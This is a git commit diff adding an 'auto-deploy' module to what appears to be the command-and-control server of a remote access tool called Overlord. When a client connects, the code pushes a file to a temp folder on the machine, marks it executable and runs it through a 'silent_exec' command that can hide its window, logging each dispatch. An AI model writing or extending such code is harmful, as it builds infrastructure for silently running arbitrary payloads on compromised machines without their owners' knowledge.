auto execution implemented and fix issue when uninstalling clients and them being shown in the menu when they connect to purgatory
This commit is contained in:
@@ -0,0 +1,134 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { hasAutoDeployRun, getAutoDeploysByTrigger, recordAutoDeployRun } from "../db";
|
||||
import { logger } from "../logger";
|
||||
import { metrics } from "../metrics";
|
||||
import { encodeMessage } from "../protocol";
|
||||
import type { SocketData } from "../sessions/types";
|
||||
import type { ClientInfo } from "../types";
|
||||
import { logAudit, AuditAction } from "../auditLog";
|
||||
import { normalizeClientOs } from "./deploy-utils";
|
||||
import { createUploadPull } from "./routes/file-download-routes";
|
||||
|
||||
export function dispatchAutoDeploysForConnection(
|
||||
info: ClientInfo,
|
||||
ws: ServerWebSocket<SocketData>,
|
||||
serverOrigin: string,
|
||||
): void {
|
||||
if (info.role !== "client") return;
|
||||
if (ws.data?.autoDeploysRan) return;
|
||||
|
||||
const isNewClient = ws.data?.wasKnown === false;
|
||||
const onConnect = getAutoDeploysByTrigger("on_connect");
|
||||
const onFirst = isNewClient ? getAutoDeploysByTrigger("on_first_connect") : [];
|
||||
const onConnectOnce = getAutoDeploysByTrigger("on_connect_once");
|
||||
const deploys = [...onConnect, ...onFirst, ...onConnectOnce];
|
||||
|
||||
if (deploys.length === 0) {
|
||||
ws.data.autoDeploysRan = true;
|
||||
return;
|
||||
}
|
||||
|
||||
const clientOs = normalizeClientOs(info.os);
|
||||
|
||||
for (const deploy of deploys) {
|
||||
if (deploy.osFilter.length > 0) {
|
||||
const rawOs = (info.os || "").toLowerCase();
|
||||
if (!deploy.osFilter.includes(rawOs)) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
if (deploy.trigger === "on_connect_once") {
|
||||
if (hasAutoDeployRun(deploy.id, info.id)) {
|
||||
continue;
|
||||
}
|
||||
recordAutoDeployRun(deploy.id, info.id);
|
||||
}
|
||||
|
||||
// Verify the file still exists
|
||||
try {
|
||||
const stat = Bun.file(deploy.filePath);
|
||||
if (stat.size === 0) {
|
||||
logger.warn(`[auto-deploy] file missing for ${deploy.id}: ${deploy.filePath}`);
|
||||
continue;
|
||||
}
|
||||
} catch {
|
||||
logger.warn(`[auto-deploy] file inaccessible for ${deploy.id}: ${deploy.filePath}`);
|
||||
continue;
|
||||
}
|
||||
|
||||
const destDir = clientOs === "windows"
|
||||
? `C:\\Windows\\Temp\\Overlord\\auto-${deploy.id}`
|
||||
: `/tmp/overlord/auto-${deploy.id}`;
|
||||
const destPath = clientOs === "windows"
|
||||
? `${destDir}\\${deploy.fileName}`
|
||||
: `${destDir}/${deploy.fileName}`;
|
||||
|
||||
const pullId = createUploadPull({
|
||||
clientId: info.id,
|
||||
filePath: deploy.filePath,
|
||||
fileName: deploy.fileName,
|
||||
size: deploy.fileSize,
|
||||
ttlMs: 120_000,
|
||||
});
|
||||
const pullUrl = `${serverOrigin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
|
||||
|
||||
try {
|
||||
info.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_upload_http" as any,
|
||||
id: uuidv4(),
|
||||
payload: { path: destPath, url: pullUrl, total: deploy.fileSize },
|
||||
}),
|
||||
);
|
||||
|
||||
if (clientOs !== "windows") {
|
||||
info.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_chmod" as any,
|
||||
id: uuidv4(),
|
||||
payload: { path: destPath, mode: "0755" },
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
info.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "silent_exec" as any,
|
||||
id: uuidv4(),
|
||||
payload: { command: destPath, args: deploy.args, hideWindow: deploy.hideWindow },
|
||||
}),
|
||||
);
|
||||
|
||||
metrics.recordCommand("silent_exec");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: "system",
|
||||
ip: "server",
|
||||
action: AuditAction.SILENT_EXECUTE,
|
||||
targetClientId: info.id,
|
||||
success: true,
|
||||
details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`,
|
||||
});
|
||||
logger.info(`[auto-deploy] dispatched ${deploy.id} (${deploy.trigger}) to ${info.id}`);
|
||||
} catch (err) {
|
||||
logger.warn(`[auto-deploy] failed to dispatch ${deploy.id} to ${info.id}`, err);
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: "system",
|
||||
ip: "server",
|
||||
action: AuditAction.SILENT_EXECUTE,
|
||||
targetClientId: info.id,
|
||||
success: false,
|
||||
details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`,
|
||||
errorMessage: (err as Error)?.message || "send failed",
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
ws.data.autoDeploysRan = true;
|
||||
}
|
||||
Reference in New Issue
Block a user